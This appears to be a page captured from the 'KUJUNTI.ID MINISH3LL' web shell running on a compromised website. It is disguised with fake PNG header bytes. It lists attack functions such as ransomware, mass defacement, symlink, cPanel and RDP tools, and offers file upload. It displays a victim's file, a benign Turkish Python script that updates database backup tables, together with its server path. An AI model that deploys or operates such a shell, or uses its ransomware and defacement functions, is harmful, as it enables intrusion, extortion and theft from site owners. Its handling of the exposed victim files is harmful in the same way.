\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv8/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv8/add_all_required_columns.py


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
yedekleDB24 için veritabanı şeması güncelleme scripti.
Bu script, artırımlı yedekleme, sıkıştırma ve şifreleme için gereken tüm sütunları ekler.
"""

import os
import logging
import sys
from sqlalchemy import create_engine, text
from dotenv import load_dotenv

# .env dosyasını yükle (varsa)
load_dotenv()

def get_database_url():
    """Veritabanı URL'sini çevre değişkeninden alır."""
    return os.environ.get("DATABASE_URL")

def add_all_required_columns():
    """Tüm gereken sütunları tablolara ekler."""
    try:
        db_url = get_database_url()
        if not db_url:
            logging.error("DATABASE_URL çevre değişkeni bulunamadı.")
            return False

        logging.info(f"Veritabanına bağlanılıyor: {db_url.split('@')[-1]}")
        engine = create_engine(db_url)
        
        with engine.connect() as conn:
            # backup_log tablosundaki sütunlar
            columns_to_add_backup_log = {
                "parent_log_id": "INTEGER",
                "backup_method": "VARCHAR(16) DEFAULT 'full'",
                "is_compressed": "BOOLEAN DEFAULT FALSE",
                "compression_type": "VARCHAR(16)",
                "original_size": "BIGINT"
            }
            
            # backup_job tablosundaki sütunlar
            columns_to_add_backup_job = {
                "backup_method": "VARCHAR(16) DEFAULT 'full'",
                "compress_backup": "BOOLEAN DEFAULT TRUE",
                "compression_type": "VARCHAR(16) DEFAULT 'zip'",
                "xtrabackup_options": "VARCHAR(1024)"
            }
            
            # backup_log tablosuna sütunları ekle
            for column_name, column_type in columns_to_add_backup_log.items():
                # Sütunun mevcut olup olmadığını kontrol et
                result = conn.execute(text(f"SELECT column_name FROM information_schema.columns WHERE table_name = 'backup_log' AND column_name = '{column_name}'"))
                if result.rowcount == 0:
                    # Sütun mevcut değilse ekle
                    conn.execute(text(f"ALTER TABLE backup_log ADD COLUMN {column_name} {column_type}"))
                    logging.info(f"backup_log tablosuna {column_name} sütunu başarıyla eklendi.")
                else:
                    logging.info(f"backup_log tablosunda {column_name} sütunu zaten mevcut.")
            
            # parent_log_id için foreign key kısıtlaması ekle
            try:
                # Önce mevcut bir kısıtlama olup olmadığını kontrol et
                result = conn.execute(text("SELECT constraint_name FROM information_schema.table_constraints WHERE table_name = 'backup_log' AND constraint_name = 'fk_backup_log_parent_log_id'"))
                if result.rowcount == 0:
                    conn.execute(text("ALTER TABLE backup_log ADD CONSTRAINT fk_backup_log_parent_log_id FOREIGN KEY (parent_log_id) REFERENCES backup_log(id) ON DELETE SET NULL"))
                    logging.info("parent_log_id için foreign key kısıtlaması eklendi.")
                else:
                    logging.info("parent_log_id için foreign key kısıtlaması zaten mevcut.")
            except Exception as e:
                logging.warning(f"Foreign key eklenirken hata oluştu (Mevcut olabilir): {str(e)}")
            
            # backup_job tablosuna sütunları ekle
            for column_name, column_type in columns_to_add_backup_job.items():
                # Sütunun mevcut olup olmadığını kontrol et
                result = conn.execute(text(f"SELECT column_name FROM information_schema.columns WHERE table_name = 'backup_job' AND column_name = '{column_name}'"))
                if result.rowcount == 0:
                    # Sütun mevcut değilse ekle
                    conn.execute(text(f"ALTER TABLE backup_job ADD COLUMN {column_name} {column_type}"))
                    logging.info(f"backup_job tablosuna {column_name} sütunu başarıyla eklendi.")
                else:
                    logging.info(f"backup_job tablosunda {column_name} sütunu zaten mevcut.")
            
            conn.commit()
            return True
    except Exception as e:
        logging.error(f"Sütun ekleme hatası: {str(e)}")
        return False

def main():
    """Ana fonksiyon"""
    logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
    logging.info("Veritabanı şeması güncelleme başlatıldı")
    
    if add_all_required_columns():
        logging.info("Veritabanı şeması başarıyla güncellendi.")
    else:
        logging.error("Veritabanı şeması güncellenirken hata oluştu.")
        sys.exit(1)

if __name__ == "__main__":
    main()

© KUJUNTI.ID